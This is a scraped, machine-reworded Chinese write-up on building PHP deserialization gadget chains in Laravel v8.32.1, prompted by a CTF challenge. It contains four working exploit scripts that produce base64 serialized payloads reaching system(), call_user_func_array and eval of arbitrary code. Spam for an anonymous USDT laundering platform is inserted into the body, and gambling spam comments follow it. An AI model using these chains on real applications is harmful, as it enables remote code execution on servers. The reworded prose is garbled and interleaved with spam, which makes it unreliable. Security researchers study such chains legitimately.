菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
一道CTF题引起的对laravel v8.32.1序列化行使链挖掘
0x00 前言
前几天刚搞完 V&NCTF ,里边有一道 easy_laravel 问题引起了我的注重(指挖了一下昼的序列化链,效果路由不准确无法行使CVE反序列化,呜呜呜,气死我耶),于是就将整个有趣(心酸)的历程写出来分享一下吧。
0x01 行使条件
- 需要配合一个完全可控的反序列化点( 好比连系CVE,不外这里的版本是现在最新版 v8.32.1 )
0x02 环境设置
先配好 8.32.1 版本的 laravel ,确保当前版本准确。
然后在 public/index.php
手动新建一个可控的序列化点:
0x03 链条剖析
由于这里是另挖掘,以是我们就尽可能的制止 easy_laravel 问题WP所给的链条吧。
- call_user_func([可控],[可控])
先从最简朴的单参数随便函数执行最先吧。
- 剖析
首先,来到入口点,不妨找一个需要有 __destruct
方式的类,且该方式拥有形如 $this->[可控]->xxx()
的语句,这样就能够利便的触发 __call
方式了。好比说 ImportConfigurator
类就是一个不错的最先。
下一步即是找一个较为相符的拥有 __call
方式的类了,好比这里可以选择 ValidGenerator
类,由于这个类的 __call
存在两个较为显著的 call_user_func/call_user_func_array
函数。
现在需要做的即是想尽设施让这两个函数其中一个的参数 可控 就行了。可以先剖析第一个 call_user_func_array
函数,其中 $name 是不能控的,且值为 addCollection
,虽说 $this->generator 和 $arguments 是可控的,但要直接通过这两个可控的参数举行 rce 基本是不能能的。
那么再看一下 DefaultGenerator
类的 __call
方式。显然当这个方式被挪用时,无论传入是啥 方式 或是 参数 都可以获得一个 [可控] 的随便值。
这时不妨回过头来看 ValidGenerator
类的 __call
方式中第二个 call_user_func
函数。在这个函数中 $this->validator 是可控的了,然后 $res 现实上是来自第一个 call_user_func_array
的返回值。那么假设现在咱们用第一个 call_user_func_array 方式去挪用 DefaultGenerator
类的 __call
方式,既可以返回一个 [可控] 的值,也就是说 $res 现在也是可控的了。
综上,咱们现在现实上就可以获得形如 call_user_func([可控],[可控]) 的形式了。
此时需要组织的内容大致如下:
ImportConfigurator->parent
=ValidGenerator类
ValidGenerator->maxRetries
=1
ValidGenerator->generator
=DefaultGenerator类
DefaultGenerator->default
=[随便可控函数参数]
ValidGenerator->validator
=[随便可控函数名称]
- 图示
然后是简朴的挪用图示:
- exp
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default; function __construct($param){ $this->default = $param; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($func,$param){ $this->generator = new DefaultGenerator($param); $this->maxRetries = 1; $this->validator = $func; } } } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator('system','dir')))); }
执行效果:
- call_user_func([可控],[可控],[可控])
固然,单参数的随便函数执行显然是还不知足的。在 php7 中如若可以杀青 2 个参数的随便函数执行,就可以通过挪用 create_function
来举行形如 eval 的 rce 了。这里就朝着 2 个参数的随便函数执行进发。
- 剖析
首先照样行使上边的 call_user_func([可控],[可控]) 这条链作为基础,咱们继续往下看。那么,先来到 TestLogger
类,在这个类的 hashRecordThatPasses
方式中,存在一个可以传 2 个参数的 call_user_func
方式,不外这个方式需要传 2 个参数。
不外问题不大,可以再看一下照样这个类的 __call
方式。由于这里的 $agrs 变量存在形如 array_push
的操作,不妨行使这个方式作为跳板知足 2 个参数的要求挪用回 hashRecordThatPasses
方式。
那么也就是说 $genericMehotd 必须被组织成 hashRecordThatPasses ,其次传入的 $agrs 参数必须是 callable 。这里的 callable 可以指的是一个 函数 也可以是一个 可挪用的函数名称字符串 ,但在序列化时是不能够保留 函数 的,以是 $agrs 的内容只能是一个 可挪用的函数名称字符串 。
看一下要害的代码吧,
if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = strtolower($matches[2]); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } }
简朴来说,要想让 $genericMethod 变量的值为 hashRecordThatPasses ,得让 $method 的值为 hashInfoThatPasses 即可。
首先,凭证 preg_match
函数的正则,必须知足 [随便字符](Debug|Info|......)[随便字符]
才气够知足这个条件。此时若传入 hashInfoThatPasses 时,$mathes 变量的值为:
- [0] => hasInfoThatPasses
- [1] => has
- [2] => Info
- [3] => ThatPasses
在 $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3];
这一条语句,由于在$matches[1] 中的 has 字符串中找不到 Record ,也就会加上,成为 hasRecord ,然后再和 $matches[3] 中的 ThatPasses 字符串做拼接,最后就组成了 hashRecordThatPasses 。
此时后边的 call_user_func_array([$this,$genericMehotd],$args)
就相当于 $this->hashRecordThatPasses([可控内容],'info')
。
让我们把关注点拉回 hashRecordThatPasses
方式中。
,菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
这里会对 $this->recordsByLevel[$level] 举行遍历,其中 键名 会作为第 3 个参数,而 键值 作为第 2 个参数,而 $level 现实上也就是传入的 info 字符串。同时 predicate 这个也就是上边可控的内容,不外必须得是一个 callable 型,这里直接传 可挪用的函数名称字符串 即可。
尚有一点是,由于第 3 个参数来自 键名 ,以是不能是一个 数组 也就不能够组织形如 call_user_func
+ call_user_func_array
的套娃了。
以是现在大致可以获得了一个形如 call_user_func([可控],[可控],[可控]) 的形式了。
此时需要组织的内容大致如下:
ImportConfigurator->parent
=ValidGenerator类
ValidGenerator->maxRetries
=1
ValidGenerator->generator
=DefaultGenerator类
DefaultGenerator->default
=[TestLogger类,'hashInfoThatPasses']
ValidGenerator->validator
=[随便可控函数名称]
TestLogger->recordsByLevel['info']
=['[可控参数]'=>'[随便可控参数]']
- 图示
- exp
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default='call_user_func'; } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($c2){ $this->generator = new DefaultGenerator(); $this->maxRetries = 1; $this->validator = [$c2,'hasInfoThatPasses']; } } } namespace Psr\log{ abstract class AbstractLogger{} } namespace Psr\Log\Test{ use Psr\Log\AbstractLogger; class TestLogger extends AbstractLogger{ public $recordsByLevel = ['info'=>['dir'=>'system']]; } } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Psr\Log\Test\TestLogger)))); }
执行效果:
这里原本思绪是通过挪用 create_function
函数举行 rce 的,然而会泛起 弃用 的报错。
- call_user_func_array([完全可控])
既然使用 create_function
会报错,那不如使用其余和 eval 有类似效果的函数,好比 mbereg_replace
试试。那就需要一个 完全可控 的 call_user_func_array
才行了。
- 剖析
那么照样行使上边的 call_user_func([可控],[可控]) 链作为基础,继续看吧。这里来到 ReturnCallback
类的 invoke
方式,这里存在一个 call_user_func_array
函数,其中 $this->callback 是 可控 的了。
再看 $invocation->getParameters()
这个方式返回的内容,显然 $this->parameters 是咱们可控的了,也就是说返回值是可控的。
这条链确实是异常简朴的,可以简朴列一下需要组织的大致内容:
ImportConfigurator->parent
=ValidGenerator类
ValidGenerator->maxRetries
=1
ValidGenerator->generator
=DefaultGenerator类
DefaultGenerator->default
=[ReturnCallback类,'invoke']
ReturnCallback->callback
=[随便可控的函数名称]
ValidGenerator->validator
=Invocation类
Invocation->parameters
=[随便可控的函数参数]
现在咱们就可以获得 call_user_func_array([完全可控]) 的形式了。
- 图示
- exp
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default; function __construct($c3){ $this->default = $c3; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($c2,$c3){ $this->generator = new DefaultGenerator($c3); $this->maxRetries = 1; $this->validator = [$c2,'invoke']; } } } namespace PHPUnit\Framework\MockObject{ final class Invocation{ private $parameters = ['dir']; } } namespace PHPUnit\Framework\MockObject\Stub{ use PHPUnit\Framework\MockObject\Invocation; final class ReturnCallback{ private $callback = 'system'; } } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new PHPUnit\Framework\MockObject\Stub\ReturnCallback,new PHPUnit\Framework\MockObject\Invocation)))); }
执行效果:
只是若是挪用 mbereg_replace
,会显示已弃用的错误。
- eval([完全可控])
看起来是没辙了,只能找一个 eval 的玩意了。
- 剖析
OK,这里照样行使上边的 call_user_func([可控],[可控]) 的链条作为基础。这里选择 EvalLoader
类的 load
方式,主要是这个方式里边有 eval 的挪用。那么现在我们来看一下若何杀青 eval([完全可控]) 吧。
这里主要照样 2 点,首先让第 1 个条件不知足,即是 $definition->getClassName()
返回的值是一个不存在的类即可。其中 $definition 得是 MockDefinition
类,然后咱们可以简朴跟进 $definition
类的 getClassName
这个方式看看。
这里在 getClassName
方式中会执行 return $this->config->getName()
语句,其中 $this->config 的值显然为 MockConfiguration
类,即是挪用了 MockConfiguration
类的 getName
方式。
那么再跟进 MockConfiguration
类的 getName
方式,这里简朴的返回了 $this->name ,而这个 $this->name 现实上是可控的。
也就是说上边的 $definition->getClassName()
获得的值是 可控 的了,咱们不妨将其组织成随便一个不存的类名即可(好比Morouu)。
之后再看第 2 点,也就是 eval("?>".$definition->getCode())
这段语句,话不多说,先跟进 MockDefinition
类的 getCode
方式吧。
这里只是简朴的返回了 $this->code 的值,而 $this->code 确实是 可控 的。也就是说现在这条链乐成到达了对 eval 的挪用。那么简朴的组织一下组织的大致内容吧:
ImportConfigurator->parent
=ValidGenerator类
ValidGenerator->maxRetries
=1
ValidGenerator->generator
=DefaultGenerator类
DefaultGenerator->default
=[EvalLoader类,'load']
MockDefinition->config
=MockConfiguration类
MockConfiguration->name
='[随便不存在的类名称]'
MockDefinition->code
=<?php [随便代码] ?>
此时就可以获得 eval([完全可控]) 的形式了。
- 图示
- exp
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default; function __construct($c3){ $this->default = $c3; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($c2,$c3){ $this->generator = new DefaultGenerator($c3); $this->maxRetries = 1; $this->validator = [$c2,'load']; } } } namespace Mockery\Generator{ class MockConfiguration{ protected $name = 'Morouu'; } class MockDefinition{ protected $config; protected $code; function __construct($code){ $this->config = new MockConfiguration; $this->code = $code; } } } namespace Mockery\Loader{ use Mockery\Generator\MockDefinition; class EvalLoader{} } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Mockery\Loader\EvalLoader,new Mockery\Generator\MockDefinition('?><?php phpinfo();exit; ?>'))))); }
执行效果:
网友评论
7条评论AllbetGaming代理
回复欢迎进入ALLBET官网娱乐平台开户:www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。我跟作者差别太大
新2网址(www.hg9988.vip)
回复@AllbetGaming代理 火星北极冰盖 这个小站也挺好的
新2会员网址
回复支付宝充值usdt(www.usdt8.vip)
回复用“微信”扫码二维码还可以吧,挺用心
ug环球开户(www.ugbet.us)
回复欧博开户是我最近的读物
免费足球推介(www.hgbbs.vip)
回复在民生保障方面,多渠道稳定和扩大就业,加大培训补贴力度,落实高校毕业生见习补贴、求职创业补贴等各项支持政策。优化人才直接落户、居转户、购房等条件「jian」,吸引和留住各类人才。通过发放一次性(xing)补贴、爱心礼包等形式,保障困难群众生活。入坑太晚
a55555彩票网(www.a55555.net)
回复He was also reported saying: “If I knew someone was going to die and therefore should not be placed in an immigration detention centre, I would be great.”一定一定要看这个!
环球ug开户(www.ugbet.us)
回复道里区心理防疫平台可以通过扫码进入,也可以打电话13214512796举行预约,平台将有针对性地放置先生举行咨询和疏导,辅助市民解决疫情带来的心理康健问题。好看,特别精致的文